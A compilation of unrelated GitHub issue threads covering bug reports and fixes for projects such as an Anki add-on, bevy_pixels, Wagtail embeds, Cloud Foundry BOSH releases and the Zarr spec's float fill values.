Version         : 2.1.65-1
Description     : Helps you remember facts (like words/phrases in a foreign language) efficiently
Architecture    : x86_64
URL             : https://apps.ankiweb.net/
Licenses        : AGPL3
Groups          : None
Provides        : None
Depends On      : python>=3.9  python-beautifulsoup4  python-waitress>=2.0.0  python-requests
                  python-decorator  python-markdown  python-orjson  python-protobuf>=4.21  python-pysocks
                  python-distro  python-flask-cors  python-jsonschema  python-send2trash  python-certifi
                  qt6-multimedia  python-pyqt6-webengine>=6.2  qt6-svg
Optional Deps   : lame: record sound [installed]
                  mpv: play sound. prefered over mplayer [installed]
                  mplayer: play sound
                  texlive-most: render LaTex in cards
Required By     : None
Optional For    : None
Conflicts With  : anki-bin  anki-git  anki-official-binary-bundle  anki-qt5
Replaces        : None
Installed Size  : 57.38 MiB
Packager        : Unknown Packager
Build Date      : Tue 06 Jun 2023 11:08:36 AM EEST
Install Date    : Tue 06 Jun 2023 11:18:02 AM EEST
Install Reason  : Explicitly installed
Install Script  : No
Validated By    : None

When I try to run TiddlyRemember plugin (Shift-Y), I get the following error:
Error
An error occurred. Please start Anki while holding down the shift key, which will temporarily disable the add-ons you have installed.
If the issue only occurs when add-ons are enabled, please use the Tools > Add-ons menu item to disable some add-ons and restart Anki, repeating until you discover the add-on that is causing the problem.
When you've discovered the add-on that is causing the problem, please report the issue to the add-on author.
Debug info:
Anki 2.1.65 (141bc18b) Python 3.11.3 Qt 6.5.1 PyQt 6.5.1
Platform: Linux-6.3.5-arch1-1-x86_64-with-glibc2.37
Flags: frz=False ao=True sv=2
Add-ons, last update check: 2023-06-06 11:25:48
Add-ons possibly involved: TiddlyRemember

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Caught exception:
Traceback (most recent call last):
  File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
    self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'

Any hints on how to debug the problem further?

As a quick hack until I get a chance to look, I bet you can fix it manually:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Change that line to:
self.form.progressBar.setValue(at * 100 // end)

Not sure why it has suddenly started refusing to coerce floats to ints.
On Tue, Jun 6, 2023, at 03:38, Cristi wrote:

On EndeavourOS (Arch)
`uname --all
Linux ... 6.3.5-arch1-1 #1 SMP PREEMPT_DYNAMIC Tue, 30 May 2023 13:44:01 +0000 x86_64 GNU/Linux
yay  -Q --info anki
Name            : anki
Version         : 2.1.65-1
Description     : Helps you remember facts (like words/phrases in a foreign language) efficiently
Architecture    : x86_64
URL             : https://apps.ankiweb.net/
Licenses        : AGPL3
Groups          : None
Provides        : None
Depends On      : python>=3.9  python-beautifulsoup4  python-waitress>=2.0.0  python-requests
python-decorator  python-markdown  python-orjson  python-protobuf>=4.21  python-pysocks
python-distro  python-flask-cors  python-jsonschema  python-send2trash  python-certifi
qt6-multimedia  python-pyqt6-webengine>=6.2  qt6-svg
Optional Deps   : lame: record sound [installed]
mpv: play sound. prefered over mplayer [installed]
mplayer: play sound
texlive-most: render LaTex in cards
Required By     : None
Optional For    : None
Conflicts With  : anki-bin  anki-git  anki-official-binary-bundle  anki-qt5
Replaces        : None
Installed Size  : 57.38 MiB
Packager        : Unknown Packager
Build Date      : Tue 06 Jun 2023 11:08:36 AM EEST
Install Date    : Tue 06 Jun 2023 11:18:02 AM EEST
Install Reason  : Explicitly installed
Install Script  : No
Validated By    : None
`
When I try to run TiddlyRemember plugin (Shift-Y), I get the following error:
`Error
An error occurred. Please start Anki while holding down the shift key, which will temporarily disable the add-ons you have installed.
If the issue only occurs when add-ons are enabled, please use the Tools > Add-ons menu item to disable some add-ons and restart Anki, repeating until you discover the add-on that is causing the problem.
When you've discovered the add-on that is causing the problem, please report the issue to the add-on author.
Debug info:
Anki 2.1.65 (141bc18b) Python 3.11.3 Qt 6.5.1 PyQt 6.5.1
Platform: Linux-6.3.5-arch1-1-x86_64-with-glibc2.37
Flags: frz=False ao=True sv=2
Add-ons, last update check: 2023-06-06 11:25:48
Add-ons possibly involved: TiddlyRemember
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
Caught exception:
Traceback (most recent call last):
File "/home/cristi/.local/share/Anki2/addons21/60456529/importer.py", line 124, in extract_progress
self.form.progressBar.setValue(at * 100 / end)
TypeError: setValue(self, value: int): argument 1 has unexpected type 'float'
`
Any hints on how to debug the problem further?
—
Reply to this email directly, view it on GitHub https://github.com/sobjornstad/TiddlyRemember/issues/78, or unsubscribe https://github.com/notifications/unsubscribe-auth/AARUZRXJYSHIISAGTYKFT3TXJ3UB5ANCNFSM6AAAAAAY4CDQ7I.
You are receiving this because you are subscribed to this thread.Message ID: @.***>

Yes, using the integer division operator // fixed the problem.
Thank you for the quick reply.


Basic rendering gives an error

Whenever I try to run the most basic code with bevy_pixels the app crashes.
This is the most basic code that gives this error:
use bevy::prelude::*;
use bevy_pixels::prelude::*;

fn main() {
    App::new()
        .add_plugins(DefaultPlugins)
        .add_plugin(PixelsPlugin)
        .run();
}

What happens is that the application will open and it will show a screen with a white background, but then it will panic.  This happens as soon as I add the PixelsPlugin in the main function. Without it there are no problems.
error message:
2022-02-20T17:41:26.114561Z  INFO bevy_render::renderer: AdapterInfo { name: "Quadro M1200", vendor: 4318, device: 5046, device_type: DiscreteGpu, backend: Vulkan }
2022-02-20T17:41:26.553636Z ERROR wgpu_hal::vulkan::instance: VALIDATION [NVIDIA (0x0)]
vkCreateSwapchainKHR: internal drawable creation failed
2022-02-20T17:41:26.554363Z ERROR wgpu_hal::vulkan::instance:   objects: (type: SWAPCHAIN_KHR, hndl: 0x25e79a54f88, name: ?)
thread 'main' panicked at 'Error in Surface::configure: parent device is lost', C:\Users\mathi.cargo\registry\src\github.com-1ecc6299db9ec823\wgpu-0.12.0\src\backend\direct.rs:214:9
note: run with RUST_BACKTRACE=1 environment variable to display a backtrace
error: process didn't exit successfully: target\debug\raytrace_test.exe (exit code: 101)

Hmm, very interesting. I'm on macOS and I have occasionally noticed issues where when the window is created it doesn't render correctly and runs at a very fast framerate. But it doesn't crash.
I think my issue and yours are related. I think it has something to do with the way bevy interacts with the winit event loop (how systems are run and thus pixels rendering is triggered). Given how bevy currently works there is no way for this to be fixed right now. I've attempted a fix here, but it was not really sufficient.
Bevy 0.6 separated rendering from the app systems, but this has not been exposed for plugins yet. This would hopefully allow my to fix the issues that might be caused by the winit event loop.
All this being said, I've noticed there is this issue on bevy that looks similar to your issue. Could be your Nvidia drivers?

Thanks for the reply! I see that forgot to mention that I am using windows.
But more importantly I forgot to read your readme properly.. I didn't add the "default_features = false" in the toml file. I can run your minimal.rs, so all is good now. Excuse my incompetence.

No worries. Glad you could get it working.


Kap5 ref types

Implements  #333

Could we merge this to master so I can get it to test it properly?
or a :dev branch?

It is a breaking change so i'd avoid merging before a complete review. If you want to test it locally, you can clone ramaro's branch and run it from there with ./bin/kapitan. :)

PING? :)

Merged, I'd like to wait a tiny bit before an rc release. Till https://github.com/deepmind/kapitan/issues/358 is fixed. :)


this colour looks weird in the census theme

https://www.bugherd.com/projects/110463/tasks/28

Correct colour: #DBFDEA


Consistency of user-facing output names (affects API)

As part of #9, I noticed a naming concern that deserves a separate issue. The dictionary keys/column names of the outputs of the creator don't match those of the estimator, which could cause problems for an evaluator seeking to make a direct comparison. I propose the following that would be shared among both:

z_pt for a Creator's true redshift (which I think is currently taken directly from the input data, i.e. redshift_true for the Buzzard demo data) and an Estimator's "best" point estimate (which is currently zmode but should be left generic for codes that have a different summarization, since we can always impose our own from the output posteriors)
z_posterior_fmt for the parameterization of the output posteriors, in this case "interp_pdf" for all current Creator and Estimator subclasses
z_posterior_metapars for a Creator's current pz_grid and an Estimator's current zgrid
z_posterior_galpars for what's currently pz_pdf for both the Creator and Estimator superclasses

While z_posterior_fmt, z_posterior_metapars, and z_posterior_galpars would ultimately be replaced with z_posterior for the qp.Ensemble defined by its parameterization, catalog-level metaparameters, and per-galaxy parameters (and possibly z_pt and the photometry columns as metadata files?) after #33 is resolved, I think enforcing consistency between rail/creation/creator.py and rail/estimation/estimator.py (plus the tests for both) would help for #4.

overtaken by events


Naming format in exportmei.py

Rename (fix camel case) methods defined in exportmei.py to have a consistent naming throughout the package.
Add the export MEI method to init.py

Done!


道翰天琼认知智能机器人分享介绍

Hello,大家好，很高兴认识大家。我是杭州道翰天琼智能科技有限公司创始人李坤。目前我们主要是在做认知智能体系，以及认知智能机器人大脑。期待和大家交流。再次感谢李卓桓老师。

Welcome!
However, this PR can not be merged because it includes too many unrelated changes.
Please update your branch to sync with the latest master then send this PR again.
Thank you very much!


cargo wasi run doesn't work - error with cranelift-codegen v0.96.3

when I execute cargo wasi run, I get following error
error: failed to run custom build command for `cranelift-codegen v0.96.3`

Caused by:
  process didn't exit successfully: `<home>/Work/rust/wasm/wasm-in-wasm/target/debug/build/cranelift-codegen-ca47549c9dd955cf/build-script-build` (exit status: 101)
  --- stderr
  thread 'main' panicked at 'error when identifying target: "no supported isa found for arch `wasm32`"', <home>/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cranelift-codegen-0.96.3/build.rs:43:53
  note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
warning: build failed, waiting for other jobs to finish...

Wasmtime itself can't be compiled for webassembly. Wasmtime uses a jit compiler, which isn't supported by webassembly.

I think, I understood the problem space.
I tried to compile the example itself as a wasm.
This broke the compilation.
cranelift relys on platform specific libraries.
when I switched to wasmi, an pure rust implementation, the compilation went through.
Please confirm my assumption of the problem space.

Wasmtime is a WebAssembly engine which internally compiles the user's WebAssembly code to fast native code using the Cranelift code generator. Wasmtime cannot be compiled to WebAssembly because WebAssembly does not have the facilities for executing code generated from inside WebAssembly.
If you're trying to compile Wasmtime for the WebAssembly target, that would be to run it inside another WebAssembly engine. This is not possible.
If you want to execute WebAssembly using Wasmtime, you just need to compile Wasmtime for your computer's native architecture (i.e. do not pass cargo a --target flag).
Wasmi is a WebAssembly engine which internally is just an interpreter, so it does not generate any native code as part of executing WebAssembly. This means it is indeed possible to compile it to WebAssembly. I don't know why you would do that, but if you really do need that, wasmi will work and wasmtime will not.

I'm going to close this ticket, because for my specific use case it is not working and not possible at all.


Caching OEmbed markup prevents markup changes for existing embeds

The database caching strategy keeps the rendered embed markup. This means that if you implement a change like https://gist.github.com/kaedroho/ec2b2e83f2f4ecfb9677 to fix an issue with an embed provider, any existing embeds don't get fixed.
My thinking would be to cache the output of the oembed request instead of the embed itself, then re-render the embed from that on subsequent lookups.

Would like to chime in that this issue really bit us in production, as a change to the embed functions (to allow https in YouTube embeds) was not reflected in previously embedded videos, causing quite a bit of confusion and scrambling during a deadline.

Thanks for reporting this. A quick fix would be to clear out the Embed model every time you make a change to your embeds settings (this will cause all embeds to be refetched on the next request).

I don't understand.

@SableWalnut I think, what @kaedroho meant is to delete all Embed -objects:
python manage.py shell
from wagtail.embeds.models import Embed
Embed.objects.all().delete()

After that, wagtail will lookup the embed code again.

@SableWalnut I think, what @kaedroho meant is to delete all Embed -objects:
python manage.py shell
from wagtail.embeds.models import Embed
Embed.objects.all().delete()

After that, wagtail will lookup the embed code again.

Older issue but a potential candidate for a management command?
Flagging as a good first issue to implement this approach based on the code snippet above, documentation could also be included in the embeds for this.
We already flag that you may want to delete embeds if you change something here https://docs.wagtail.org/en/stable/advanced_topics/embeds.html#deleting-embeds
So that would be a good place to add a link to the management command.

Working on it.

may i take up this one?

@4the4ryushin - yeah go for it but please check you understand the issue fully and can reproduce the problem as described.
It may be good to add a comment with the exact steps to reproduce a scenario like this on a new Wagtail project, this will also help for any kind of PR validation when you prepare it.

@lb-  i have understood the issue would soon write the steps to reproduce it,  so we are approaching it the issue in way that
we need to write a management command for deleting the embeds in order to wagtail to re fetch embed code?
what should i name it the command?

Have a look at existing commands, we would need docs also.
https://docs.wagtail.org/en/stable/reference/management_commands.html
Probably wagtail_purge_embeds or just purge_embeds

Got it, on it

Here is the code and the tests for the purge revisions command, the new command can be implemented very much the same. Without needing any Params support.
https://github.com/wagtail/wagtail/blob/main/wagtail/management/commands/purge_revisions.py
Tests.
https://github.com/wagtail/wagtail/blob/main/wagtail/tests/test_management_commands.py#L591
However, these files need to live in the embeds app folder
https://github.com/wagtail/wagtail/tree/main/wagtail/embeds

@lb-  thank you so much, very much appreciated saved me a lot of " dig up "

The database caching strategy keeps the rendered embed markup. This means that if you implement a change like https://gist.github.com/kaedroho/ec2b2e83f2f4ecfb9677 to fix an issue with an embed provider, any existing embeds don't get fixed.
My thinking would be to cache the output of the oembed request instead of the embed itself, then re-render the embed from that on subsequent lookups.

STEPS TO REPRODUCE THE ISSUE:

create  a normal blog page , you can even follow  getting started guide https://docs.wagtail.org/en/stable/getting_started/tutorial.html#

In any your template  load embed tags and and use the tag anywhere in the template to embed a demo video
use the embed tag, https://docs.wagtail.org/en/stable/advanced_topics/embeds.html#embed-tag

in your settings put the following setting,

WAGTAILEMBEDS_FINDERS = [
    {
        'class': 'wagtail.embeds.finders.oembed'
    }
]

The database caching strategy keeps the rendered embed markup. This means that if you implement a change like https://gist.github.com/kaedroho/ec2b2e83f2f4ecfb9677 to fix an issue with an embed provider, any existing embeds don't get fixed.
My thinking would be to cache the output of the oembed request instead of the embed itself, then re-render the embed from that on subsequent lookups.

STEPS TO REPRODUCE THE ISSUE:

create  a normal blog page , you can even follow  getting started guide https://docs.wagtail.org/en/stable/getting_started/tutorial.html#

In any your template  load embed tags and and use the tag anywhere in the template to embed a demo video
use the embed tag, https://docs.wagtail.org/en/stable/advanced_topics/embeds.html#embed-tag

in your settings put the following setting,

WAGTAILEMBEDS_FINDERS = [
    {
        'class': 'wagtail.embeds.finders.oembed'
    }
]

Create a file in your app folder eg :- myapp/embeds.py

put the following code in embeds.py to create custom embed finder,  https://gist.github.com/4the4ryushin/e6a5b3c0a588883538ca5fb7b5ed4e12
at line 50 i have hardcoded an another video url to observe the changes brought by it so this custom finder would always embeds the same video regardless of any url.

change the settings to use the custom embed founder

WAGTAILEMBEDS_FINDERS = [
   {
       'class': 'myapp.embeds.CustomEmbedFinder'
   }
]

now run the server and reload the blog page to see the if the embed video changes to our hard coded video

expected behaviour : video  should have changed to hard coded video, as we replaced our new custom embed finder
actual behaviour:  video doesn't changes unless we deleted the Embed model object and refetch the code again .
this addresses the issue #1267

@lb-  i have made made the PR https://github.com/wagtail/wagtail/pull/9568 and comment on steps to reproduce an error
kindly review it at your ease, thank you .

@lb-  thanks a lot i have applied all the suggestions , kindly review at your ease.


Tests for Spaces requirements.txt upon push of new module

Upon merges we've sometimes had metrics Spaces break because of missing requirements which then need to be added to requirements.txt later.
Not sure what the best way to detect this is, though — sometimes it's not obvious because the requirement is wrapped in a library which has optional dependencies (e.g. this one requires torch because it loads a torch classifier, but you wouldn't know it from the imports).

Maybe a bit down the road we could similar to the doc builder create a test org or just a space with the new module and check if the space is up and running. When the PR is merged the test space could be deleted.
Alternatively, we could also setup an env for each space and spin up the gradio app. This is potentially quite slow and the tests are already getting pretty slow.


[MongoDB] CDI named clients

As a follow up of a discussion still open in Quarkus community, we should fix the way we retrieve named mongo clients in mongodb extensions. The PR #1688 should patch the behavior allowing the possibility to use any mongodb client in our routes, but we must follow the work on Quarkus and provide a more reliable solution once that is available.

Hello @squakez. Do you know if this is still up-to-date?

Hello @zbendhiba. I think this is still valid. I haven't followed by near the evolution of the problem on the Quarkus side, but I guess they haven't really fixed the problem. As stated in https://github.com/apache/camel-quarkus/pull/1688#issuecomment-690276425 we do have a workaround to use any MongoDB connection. However, if we want to be in line with Quarkus development, I guess we must keep this open and apply the needed changes once they are available in the platform.


bosh create release  givin Error

Below is my cmd output of bosh create release command.

Building dea_next...
No artifact found for dea_next
Generating...
Pre-packaging...

set -e -x
cd /tmp/d20160719-5670-1jcazpf/d20160719-5670-180td3f/dea_next
BUNDLE_WITHOUT=development:test
bundle package --all --no-install --path ./vendor/cache
Fetching gem metadata from https://rubygems.org/.........
Fetching version metadata from https://rubygems.org/..
Fetching https://github.com/cloudfoundry/warden.git
Fetching https://github.com/intridea/grape.git
Fetching https://github.com/cloudfoundry/loggregator_emitter.git
Fetching https://github.com/nats-io/ruby-nats.git
Using i18n 0.7.0
Using json 1.8.3
Using minitest 5.8.4
Using ffi 1.9.10
Using httpclient 2.7.1
Using json_pure 1.8.3
Using bundler 1.11.2
Using warden-protocol 0.1.5 from https://github.com/cloudfoundry/warden.git (at master@b72b8c5)
Using loggregator_emitter 5.0.1 from https://github.com/cloudfoundry/loggregator_emitter.git (at master@7863578)
Using warden-client 0.1.0 from https://github.com/cloudfoundry/warden.git (at master@b72b8c5)
Using nats 0.6.0 from https://github.com/nats-io/ruby-nats.git (at master@d0556a0)
Using em-warden-client 0.1.2 from https://github.com/cloudfoundry/warden.git (at master@b72b8c5)
Using grape 0.16.3 from https://github.com/intridea/grape.git (at master@c2778cf)
Updating files in vendor/cache

rake-11.1.2.gem
Could not find i18n-0.7.0.gem for installation
'dea_next' pre-packaging failed.

Please help me to solve this.
Thanks

ping @fraenkel @swetharepakula @ScarletTanager

Hi @gaurang90,
It looks like you might have something messed up with your ruby environment on your machine. Our CI pipelines do a fresh deploy of cf every time and are building successfully.
Looking at your output I see "Fetching https://github.com/nats-io/ruby-nats.git Using i18n 0.7.0" and then you get an error for the same exact gem.
I would try running gem install rake -v 11.1.2 and see if there are any issues when you try to install the gem manually. If that works then maybe you have a bad bundler version. There was an issue with with an early 1.12.x version (cannot remember which one exactly), but version 1.12.5 works fine.
Hope this helps,
@DanLavine, RuntimeOG Team

its working now after i reinstall ruby and able to successfully deploy cloud foundry. but i cant ping or curl at "api.bosh-lite.com". can anyone help me with this??

Hi @gaurang90,
This issue is probably coming from the fact that bosh-lite.com resolves to a local IP address on your machine which is a 10.* address. To fix this issue try running the bin/add-route script in the bosh-lite repository you downloaded from github.
Seeing as how your original issue was fixed I'm going to close this issue. If the bosh-lite fix does not work, you could open up a new issue or ask a general question in the Cloud Foundry slack channel.
Best,
@DanLavine, RuntimeOG Team

Although this issue has been long closed, I'd like to report that I experienced exactly the same problem with the most recent CF release. I had to manually install all reported missing gems in order to continue with the process. All gems and their corresponding versions for dea_next are located here:
cf-release/src/dea_next/Gemfile.lock

That behavior could be due to some misconfiguration from my end and since I managed to resolve the problem, I'm not reopening this issue.

I solved this problem by installing each gem that it complained about individually and for the specific version it wanted.
sudo gem install missing_gem -v version.of.gem


Floating point fill values' endianness

Following on from https://github.com/zarr-developers/zarr-specs/pull/236
IEEE754 doesn't specify an endianness for float representations - does this mean that the hex string representation of the fill value of a float dataset is dependent on the endianness of the codecs? If so, it would be much more convenient to just say that it's always of a particular endianness.

No, the hex string always has the sign bit as the most significant bit (i.e. first) and does not depend on endianness.  Perhaps you can create a PR to clarify.

Is that an implementation detail of the C function referenced in the spec?

Is that an implementation detail of the C function referenced in the spec?

No, and actually the warning about strtod was in relation to the NaN syntax nan(1234) that I previously proposed but was rejected.
strtod accepts the "OxYYYYYYYY[.ZZZZZZ]" hex floating point syntax which has a different meaning.  Unfortunately strtod does not guarantee that every distinct NaN value has a corresponding string representation so we can't rely on the strtod spec.
I intended to convey what I said in https://github.com/zarr-developers/zarr-specs/issues/279#issuecomment-1789148537 with the language "specifying the byte representation of the floating point number as an unsigned integer", where I was assuming the usual endian-agnostic representation of the floating point number as a sequence of bits, where the first (most significant) bit is the sign bit, followed by the exponent bits, followed by the mantissa bits.  The NaN example also serves to clarify.  Perhaps there is a better way to state it, though.

the usual endian-agnostic representation of the floating point number

This norm is what I was struggling to find external confirmation of, just came up with ambiguity e.g. https://stackoverflow.com/questions/2945174/floating-point-endianness

Writing the PR using this language

where the first (most significant) bit is the sign bit, followed by the exponent bits, followed by the mantissa bits

and had another question - different languages may default to different NaN values when using their respective NaN-creation routines. Are we taking a "NaN" fill to mean that any NaN value is valid, or are we specifying a specific NaN as implied by the example in the "0x..." point? If the former, implementations probably shouldn't ever write "NaN" (opting for the byte string instead) because they don't necessarily know the intention of other readers/writers. The alternative is to disallow specific NaNs entirely.

Writing the PR using this language

where the first (most significant) bit is the sign bit, followed by the exponent bits, followed by the mantissa bits

and had another question - different languages may default to different NaN values when using their respective NaN-creation routines. Are we taking a "NaN" fill to mean that any NaN value is valid, or are we specifying a specific NaN as implied by the example in the "0x..." point? If the former, implementations probably shouldn't ever write "NaN" (opting for the byte string instead) because they don't necessarily know the intention of other readers/writers. The alternative is to disallow specific NaNs entirely.

"NaN" means the specific value as defined in the specification:
"NaN", denoting thenot-a-number (NaN) value where the sign bit is 0 (positive), the most significant bit (MSB) of the mantissa is 1, and all other bits of the mantissa are zero.
(There is a missed space.)

Note that an IEEE 754 NaN value is indicated by any sign bit, all 1 exponent bits, and any non-zero mantissa.  By specifying the sign and mantissa we fully specify the value.


Release 2022-12-01

Is it OK to commit again the newly made release files on that PR? Or do you prefer that I close that one and make a fresh new PR?

you can update this one


Css change in buildpage

@CodiumAI-Agent /review

PR Review 🔍

 ⏱ Estimated effort to review [1-5]
3, because the PR involves both CSS and JSX changes which affect the layout and style of the application. Reviewing these changes requires checking for visual consistency and functionality in the context of the existing application design.

 🧪 Relevant tests
No

 ⚡ Possible issues
Duplicate ID: The PR introduces a duplicate ID "storage" for two different div elements, which can lead to issues with CSS and JavaScript functionality that rely on unique IDs.

 🔒 Security concerns
No

 Code feedback:
relevant fileclient/frontEnd/src/Components/Build.jsx
suggestion

Change the duplicate ID "storage" to a unique ID for the secondary storage div to avoid potential conflicts in styling and scripting. [important]

relevant lineSecondary Storage: {selectedSecondStorage.name}
relevant fileclient/frontEnd/src/Styles/Build.css
suggestion

Consider reintroducing padding to the .specs-page class to maintain spacing and visual separation of elements within the container. [medium]

relevant linebackground-color: #333;
relevant fileclient/frontEnd/src/Styles/Build.css
suggestion

Add a fallback font-family in the .specs-page class for better cross-browser compatibility. [medium]

relevant linefont-family: 'Russo one';
relevant fileclient/frontEnd/src/Styles/Build.css
suggestion

Consider using a more descriptive comment for the grid-template-columns property in the .specs class to clarify the layout structure. [medium]

relevant linegrid-template-columns: repeat(4, 1fr);


Add .blog files to Media Logs section

Important files for troubleshooting calling issues:
Adding .blog files under skylib and media-stack folders.

@nenonix @JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@LolaJacobsen Changes look correct. Could you please review and merge? Thanks!

@LolaJacobsen Changes look correct. Could you please review and merge? Thanks!

I've ping'd PM TJ Singh to review this PR.

OK per PM TJ Singh


Queue remove function not working

Hello! Sorry I'm back here I have a problem.
The queue remove command remove is not working. I have written the exact code that's written at the npm site but it doesn't work!
It says that it has skipped a song from the queue but it hasn't actually done anything.
It also still shows up in the queue command.
I have made some little changes, but it wasn't working anyways when I didn't make the changes
Here's the code if you need it
`     run: async(client, message, args) => {
    try{
        client.player.remove(message.guild.id, args[0])
        message.channel.send('Song removed from the queue!')
    }catch(error){

        if(error == "Not playing"){
            message.channel.send('Not playing any songs right now, do `-play` to play a song!')
        }
    }
 }`

Are you sure, the args[0] is a int? Please use parseInt(args[0]) for it.
Also, the Player#remove(message.guild.id, 0) would delete the 1st song from the queue.

Thanks a lot, it worked, sorry for my silly mistake.


Update mockito-scala-scalatest to 1.11.3

Updates org.mockito:mockito-scala-scalatest from 1.11.2 to 1.11.3.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.mockito", artifactId = "mockito-scala-scalatest" } ]

labels: library-update, semver-patch

Codecov Report

Merging #171 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #171   +/-   ##
=======================================
  Coverage   45.61%   45.61%
=======================================
  Files          24       24
  Lines         285      285
  Branches        2        2
=======================================
  Hits          130      130
  Misses        155      155

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d10e8cc...44185e6. Read the comment docs.


WiP: Improving Modes of Variability recipe

Hi,
This is a pull request for the branch I am working to improve the Modes Of Variability recipe.
For now, I have

removed the duplication of dates in the .yml
removed the regriding preprocess.
corrected documentation to fix the maximum number of clusters in 4.
corrected documentation to add the cluster methods.
I am going to do some checks about the frequency (daily and monthly) of the data input.

Thansk,
Núria

Hi, I've just found the following error running it on jasmin.
Error
No input files found for variable {'preprocessor': 'preproc', 'mip': 'day', 'variable_group': 'psl', 'short_name': 'psl', 'diagnostic': 'weather_regime', 'dataset': 'bcc-csm1-1', 'project': 'CMIP5', 'start_year': 2020, 'end_year': 2050, 'ensemble': 'r1i1p1', 'exp': 'rcp85', 'type': 'exp', 'recipe_dataset_index': 1, 'cmor_table': 'CMIP5', 'institute': ['BCC'], 'standard_name': 'air_pressure_at_sea_level', 'long_name': 'Sea Level Pressure', 'units': 'Pa', 'modeling_realm': ['atmos'], 'frequency': 'day', ...
